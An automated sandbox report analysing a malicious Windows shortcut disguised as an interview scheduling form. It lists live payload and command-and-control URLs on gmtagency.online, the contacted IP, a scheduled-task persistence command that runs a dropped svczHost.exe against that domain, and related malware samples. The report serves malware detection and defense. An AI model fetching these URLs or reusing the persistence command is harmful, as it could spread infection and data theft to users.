https://gmtagency.online/file2/282c5801f46fcda2f05a0753c406ba90ef61497ac93e4afda4a01872ecfc3b3b0547cc186ef952e03434e53d14a6be634cc8976c1de586c6716f1299450c444bdca9c3eed651a15ce96c3d1ed385d68e046d90581d0518767912d0a8edd694f9b22d70d1c6269597baf745481c650497	0%	Avira URL Cloud	safe
https://gmtagency.online/file3/77bd1c037f735ab3a82a0b38c9abbc302a447e1b0cdcb740bb8ed41e8bc1e28fe55f5	100%	Avira URL Cloud	malware
https://gmtagency.online/file2/60ef76e9db7116693364d6d6d5c46eca46dd3940bbdf59007c52da15a85c1637c3d68ed9b528187c5db4718597f02d21072c2c034e2706066f31a4c1e5390879c696eadf01811b26bb7dfe06677f97dbcef20be4b54b0ccb138f3acbb81152197e955cc0e87105f7ac4bc6be65825098	0%	Avira URL Cloud	safe
https://gmtagency.online/file2/60ef76e9db7116693364d6d6d5c46eca46dd3940bbdf59007c52da15a85c1637c3d68	0%	Avira URL Cloud	safe
https://gmtagency.online/2b4078cX	0%	Avira URL Cloud	safe
https://gmtagency.online/0Dkz7n	0%	Avira URL Cloud	safe
https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b81af370a0fc5	0%	Avira URL Cloud	safe
http://gmtagency.online:80/x	0%	Avira URL Cloud	safe
https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f4d4fc9b1eda516eb3c7ff9a53861116	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
gmtagency.online	188.114.97.3	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://gmtagency.online/StaticFile/RdpService/91	false	Avira URL Cloud: safe	unknown
https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b81af370a0fc53a2749dd204bd2d59a650	false	Avira URL Cloud: safe	unknown
https://gmtagency.online/file2/87fdaf0280adf3fbc48b0ff42350af2fbd4ec7bb2f1f7602601568418f7576395f467672b733887fd46f2dde4c83f0005cc757052184d3f214f46c0b0f0cf5998c7d55a818fe1e93fa36f3bff1d990d863cd0a412d91160b768347b3969805612e5dc8bc7a45d72cd6061123b65c9398	false	Avira URL Cloud: safe	unknown
https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f1bbebbccff7ba9c62dc379cc23851a0	false	Avira URL Cloud: safe	unknown
https://gmtagency.online/file2/30bb492ec87899a2b4a8fa5c9eeec469cb660094eba33581c6dea113fbc01c861a0f732c16a5d6a1c436c513590ee7ddfc594f22cd2ed0767e9af9a14520fa71c6f1ceccf1991e36a5391763db9ad6583f43343277a3bbe69d7a76e3b9c488ab	false	Avira URL Cloud: safe	unknown
https://gmtagency.online/file2/84e009c5e29882323580b7c700d6d7fbf207df368df023a607710ca7f4c16856cff97b78654a883999182a054047890c863ba38cd142dc11cce8f76106379ad2e15601f04be4f6408483c515afddf40f1a60a87185af95c3d6e14b1b85f1d36ed69abb735a67351e2128ffb73d449c3b	false	Avira URL Cloud: safe	unknown
https://gmtagency.online/file3/77bd1c037f735ab3a82a0b38c9abbc302a447e1b0cdcb740bb8ed41e8bc1e28fe55f5292ac48064cc9f6b0f0207f961cf888ab6d838c88b93e528dcb49285dc5d3868388891d022d7c4d5917e79efb77320897b36777029f8dbedbda7d9256fa/Windows%20Defender/4/4/user/196	false	Avira URL Cloud: malware	unknown
https://gmtagency.online/file2/282c5801f46fcda2f05a0753c406ba90ef61497ac93e4afda4a01872ecfc3b3b0547cc186ef952e03434e53d14a6be634cc8976c1de586c6716f1299450c444bdca9c3eed651a15ce96c3d1ed385d68e046d90581d0518767912d0a8edd694f9b22d70d1c6269597baf745481c650497	false	Avira URL Cloud: safe	unknown
https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b83770e2b318095af45e58b24db407ff2f	false	Avira URL Cloud: safe	unknown
http://gmtagency.online/api/check	false	Avira URL Cloud: safe	unknown
https://gmtagency.online/0Dkz7n	false	Avira URL Cloud: safe	unknown
https://gmtagency.online/file2/60ef76e9db7116693364d6d6d5c46eca46dd3940bbdf59007c52da15a85c1637c3d68ed9b528187c5db4718597f02d21072c2c034e2706066f31a4c1e5390879c696eadf01811b26bb7dfe06677f97dbcef20be4b54b0ccb138f3acbb81152197e955cc0e87105f7ac4bc6be65825098	false	Avira URL Cloud: safe	unknown
https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f4d4fc9b1eda516eb3c7ff9a53861116	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://gmtagency.online	powershell.exe, 0000000A.00000002.2266576223.000001CE02C3D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2663604255.0000012C208C4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://html4/loose.dtd	powershell.exe, 00000010.00000002.3135574746.0000012C2F460000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 0000001B.00000002.3530586352.00007FF7C177A000.00000002.00000001.01000000.0000000B.sdmp	false		high
https://login.windows.net	App1731628863104346500_3A4C5484-9A89-4F44-8814-E378744E4EC2.log.13.dr	false		high
https://gmtagency.online/file2/84e009c5e29882323580b7c700d6d7fbf207df368df023a607710ca7f4c16856cff97	powershell.exe, 00000010.00000002.2663604255.0000012C1EDD9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2663604255.0000012C1EBB1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.microsoft.co	powershell.exe, 0000000A.00000002.2372282434.000001CE1A0EC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/nativeaot-c	svczHost.exe	false		high
http://www.micom/pkiops/Docs/ry.htm0	powershell.exe, 0000000A.00000002.2380272852.000001CE1A450000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3479013967.000001A970756000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gmtagency.online/file2/c	powershell.exe, 00000005.00000002.2366923733.0000017824EC2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.co	powershell.exe, 00000010.00000002.3353211708.0000012C38129000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2701543036.0000022F95010000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000023.00000002.3414931385.000001A910071000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b83770e2b3180	powershell.exe, 00000005.00000002.2366923733.0000017824789000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000013.00000003.2282175695.0000015C19070000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.css	powershell.exe, 00000010.00000002.3135574746.0000012C2F460000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 0000001B.00000002.3530586352.00007FF7C177A000.00000002.00000001.01000000.0000000B.sdmp	false		high
https://github.com/dotnet/runtime	powershell.exe, 00000010.00000002.3135574746.0000012C2EC50000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 0000001B.00000002.3530586352.00007FF7C1661000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 0000001B.00000000.2643326079.00007FF7C1661000.00000002.00000001.01000000.0000000B.sdmp	false		high
https://gmtagency.online/file2/30bb492ec87899a2b4a8fa5c9eeec469cb660094eba33581c6dea113fbc01c861a0f7	powershell.exe, 00000010.00000002.2663604255.0000012C1EF6B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY	powershell.exe, 00000010.00000002.3135574746.0000012C2F460000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 0000001B.00000002.3530586352.00007FF7C177A000.00000002.00000001.01000000.0000000B.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid	svczHost.exe, svczHost.exe, 0000001B.00000002.3529891980.00007FF7C14EF000.00000004.00000001.01000000.0000000B.sdmp	false		high
https://aka.ms/dotnet-warnings/	powershell.exe, 00000010.00000002.3135574746.0000012C2EC50000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3135574746.0000012C2F460000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 0000001B.00000002.3530586352.00007FF7C177A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 0000001B.00000002.3530586352.00007FF7C1661000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 0000001B.00000002.3529891980.00007FF7C14EF000.00000004.00000001.01000000.0000000B.sdmp, svczHost.exe, 0000001B.00000000.2643326079.00007FF7C1661000.00000002.00000001.01000000.0000000B.sdmp	false		high
https://gmtagency.online/file2/87fdaf0280adf3fbc48b0ff42350af2fbd4ec7bb2f1f7602601568418f7576395f467	powershell.exe, 00000005.00000002.2366923733.0000017824789000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/nativeaot-compatibility	svczHost.exe, 0000001B.00000002.3529891980.00007FF7C14EF000.00000004.00000001.01000000.0000000B.sdmp	false		high
https://contoso.com/	powershell.exe, 00000023.00000002.3414931385.000001A910071000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2097153241.000002869007E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2097153241.00000286901B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2083999219.00000286818FD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2501273768.0000017834412000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2360864452.000001CE11FF3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.3439807072.0000022FA5A71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.3439807072.0000022FA5BB3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A901976000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3414931385.000001A910071000.00000004.00000800.00020000.00000000.sdmp	false		high
https://oneget.orgX	powershell.exe, 00000002.00000002.2083999219.0000028681485000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.m:	powershell.exe, 0000001F.00000002.3501757170.0000022FADF19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gmtagency.online/file2/cebf0425bc9318b5b618fcaa326c0aee10c71adae93aa54b3e8d9f64db93ac93d8e02	powershell.exe, 00000005.00000002.2366923733.0000017824EC2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f1bbebbccff	powershell.exe, 00000005.00000002.2366923733.0000017824EC2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2366923733.0000017825A85000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2083999219.0000028680001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2366923733.00000178243A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2266576223.000001CE01F81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3135574746.0000012C2F460000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2663604255.0000012C1EBB1000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 0000001B.00000002.3530586352.00007FF7C177A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 0000001B.00000002.3529891980.00007FF7C14EF000.00000004.00000001.01000000.0000000B.sdmp, powershell.exe, 0000001F.00000002.2715756803.0000022F95A01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A900001000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.jpg	powershell.exe, 00000010.00000002.3135574746.0000012C2F460000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 0000001B.00000002.3530586352.00007FF7C177A000.00000002.00000001.01000000.0000000B.sdmp	false		high
https://gmtagency.online/file2/282c5801f46fcda2f05a0753c406ba90e	powershell.exe, 00000005.00000002.2366923733.0000017824EC2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2097153241.000002869007E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2097153241.00000286901B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2083999219.00000286818FD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2501273768.0000017834412000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2501273768.00000178345A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2360864452.000001CE11FF3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.3439807072.0000022FA5A71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.3439807072.0000022FA5BB3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A901976000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3414931385.000001A910071000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000002.00000002.2083999219.0000028681485000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000023.00000002.2703778933.000001A901137000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A90131A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gmtagency.online/file2/282c5801f46fcda2f05a0753c406ba90ef61497ac93e4afda4a01872ecfc3b3b0547c	powershell.exe, 0000000A.00000002.2266576223.000001CE02C03000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000023.00000002.2703778933.000001A900229000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000A.00000002.2266576223.000001CE02260000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2663604255.0000012C1F0D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A900936000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A900229000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000023.00000002.2703778933.000001A900229000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gmtagency.online	powershell.exe, 00000005.00000002.2366923733.0000017825859000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2366923733.00000178256DB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2366923733.0000017825A85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2366923733.00000178245C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2266576223.000001CE02C03000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2663604255.0000012C208C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2663604255.0000012C1EF2E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 0000001F.00000002.2715756803.0000022F9718D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A90162D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gmtagency.online/file2/cX	powershell.exe, 00000005.00000002.2366923733.0000017824EC2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/nativeaot-compatibilityy	powershell.exe, 00000010.00000002.3135574746.0000012C2F460000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 0000001B.00000002.3530586352.00007FF7C177A000.00000002.00000001.01000000.0000000B.sdmp	false		high
https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f4d4fc9b1ed	powershell.exe, 00000010.00000002.2663604255.0000012C1EF6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2663604255.0000012C208C4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000023.00000002.3414931385.000001A910071000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelpX	powershell.exe, 00000010.00000002.2663604255.0000012C21277000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2663604255.0000012C21251000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A90162D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000013.00000002.3534051090.0000015C19200000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gmtagency.online/file2/60ef76e9db7116693364d6d6d5c46eca46dd3940bbdf59007c52da15a85c1637c3d68	powershell.exe, 00000005.00000002.2366923733.0000017824789000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2366923733.0000017824A6B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gmtagency.online/file3/77bd1c037f735ab3a82a0b38c9abbc302a447e1b0cdcb740bb8ed41e8bc1e28fe55f5	powershell.exe, 00000005.00000002.2366923733.0000017824789000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/Pester/Pester	powershell.exe, 00000023.00000002.2703778933.000001A900229000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gmtagency.online/2b4078cX	powershell.exe, 00000005.00000002.2366923733.0000017824EC2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	svchost.exe, 00000013.00000003.2282175695.0000015C190E3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.m	powershell.exe, 0000001F.00000002.3495606337.0000022FADF07000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000A.00000002.2266576223.000001CE02260000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2663604255.0000012C1F0D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A900936000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A900229000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/nativeaot-compatibilityY	svczHost.exe, 0000001B.00000002.3530586352.00007FF7C177A000.00000002.00000001.01000000.0000000B.sdmp	false		high
https://aka.ms/GlobalizationInvariantMode	powershell.exe, 00000010.00000002.3135574746.0000012C2F460000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 0000001B.00000002.3530586352.00007FF7C177A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 0000001B.00000002.3529891980.00007FF7C14EF000.00000004.00000001.01000000.0000000B.sdmp	false		high
https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d79X	powershell.exe, 00000005.00000002.2366923733.0000017824EA4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.2083999219.0000028680001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2366923733.00000178243A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2266576223.000001CE01F81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2663604255.0000012C1EBB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2715756803.0000022F95A01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A900001000.00000004.00000800.00020000.00000000.sdmp	false		high
http://gmtagency.online:80/x	svczHost.exe, 0000001B.00000002.3527944837.000001BC71806000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b81af370a0fc5	powershell.exe, 00000005.00000002.2366923733.0000017824789000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oneget.org	powershell.exe, 00000002.00000002.2083999219.0000028681485000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	gmtagency.online	European Union		13335	CLOUDFLARENETUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1556140
Start date and time:	2024-11-15 00:59:47 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	37
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Online Interview Scheduling Form.lnk
Detection:	MAL
Classification:	mal100.troj.expl.evad.winLNK@41/270@1/2
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, sppsvc.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.89.18, 52.109.28.47, 184.28.90.27, 52.113.194.132, 52.111.231.24, 52.111.231.25, 52.111.231.26, 52.111.231.23, 52.182.143.211, 95.101.111.168, 95.101.111.179, 104.124.11.138, 104.124.11.186
Excluded domains from analysis (whitelisted): binaries.templates.cdn.office.net.edgesuite.net, slscr.update.microsoft.com, templatesmetadata.office.net.edgekey.net, weu-azsc-config.officeapps.live.com, eur.roaming1.live.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1847.dscg2.akamai.net, ecs-office.s-0005.s-msedge.net, roaming.officeapps.live.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, officeclient.microsoft.com, prod.fs.microsoft.com.akadns.net, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, prod.roaming1.live.com.akadns.net, osiprod-uks-buff-azsc-000.uksouth.cloudapp.azure.com, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, prod1.naturallanguageeditorservice.osi.office.net.akadns.net, uks-azsc-000.roaming.officeapps.live.com, nleditor.osi.office.net, e26769.
Execution Graph export aborted for target powershell.exe, PID 1784 because it is empty
Execution Graph export aborted for target powershell.exe, PID 3372 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5264 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5488 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6048 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6204 because it is empty
Execution Graph export aborted for target svczHost.exe, PID 6164 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:01:40	Task Scheduler	Run new task: zServicecakoi1 path: C:\Windows\Temp\svczHost.exe s>cakoi1 gmtagency.online
19:00:43	API Interceptor	330x Sleep call for process: powershell.exe modified
19:01:04	API Interceptor	2x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	View Pdf Doc_0b40e7d2137cd39647abbd9321b34da7.htm	Get hash	malicious	Unknown	Browse	f7xiz.nhgrt.top/Kbo731/96f7xiZ96?&&V5G=YW5kZXJzLmhhcnR1bmcuY2hyaXN0ZW5zZW5Acm9ja3dvb2wuY29t
	SWIFT 103 202414111523339800 111124.pdf.vbs	Get hash	malicious	Remcos	Browse	paste.ee/d/YU1NN
	TT copy.exe	Get hash	malicious	FormBook	Browse	www.lnnn.fun/u5w9/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/iiEh1iM3/download
	Scan12112024,pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	paste.ee/d/dc8Ru
	Scan12112024,pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	paste.ee/d/LOToW
	8dPlV2lT8o.exe	Get hash	malicious	Simda Stealer	Browse	qegyhig.com/login.php
	7ObLFE2iMK.exe	Get hash	malicious	Simda Stealer	Browse	lysyvan.com/login.php
	UMwpXhA46R.exe	Get hash	malicious	Simda Stealer	Browse	lysyvan.com/login.php
	1fWgBXPgiT.exe	Get hash	malicious	Simda Stealer	Browse	lysyvan.com/login.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gmtagency.online	JD & Application Form_A (910).zip	Get hash	malicious	Unknown	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	https://www.google.ch/url?sa=https://r20.rs6.net/tns.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/afrotech2023.com%2Fdhj%2F4298727249/bmljay5zcHVybG9ja0BsZWcud2EuZ292	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	8DHbFKl94l.pdf	Get hash	malicious	Unknown	Browse	172.67.128.130
	Request_for_Title_Commitment.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	eMfPZvOkbJ.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	https://www.drawnames.com/wishlist/edit/D0gYBJzjFoJ7rv0HFu_iKQ-/JAvmRE-y4vYaeZ2GN316lg-	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://sos-at-vie-1.exo.io/bucketrack/dir62/final/prove-not-robot-check.html	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.16.123.96

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	New Order___________pdf.exe	Get hash	malicious	DarkCloud	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Request_for_Title_Commitment.html	Get hash	malicious	Unknown	Browse	188.114.97.3
	Mark Qualman.zip	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	188.114.97.3
	https://www.zealxllc.com/sgv	Get hash	malicious	Unknown	Browse	188.114.97.3
	8Hd0ZExgJz.exe	Get hash	malicious	Blank Grabber, Umbral Stealer, XWorm	Browse	188.114.97.3
	Unit 2_week 4 2024.pptx	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	https://url.us.m.mimecastprotect.com/s/7XsKCQWmqkh6El9PsPhEHGZMGK?domain=hbgone.docdroid.com	Get hash	malicious	Unknown	Browse	188.114.97.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\svczHost.exe	JD & Application Form_A (910).zip	Get hash	malicious	Unknown	Browse
	K05MQ5BcC8.lnk	Get hash	malicious	Ducktail	Browse
	eQwUFcwrXk.lnk	Get hash	malicious	Ducktail	Browse
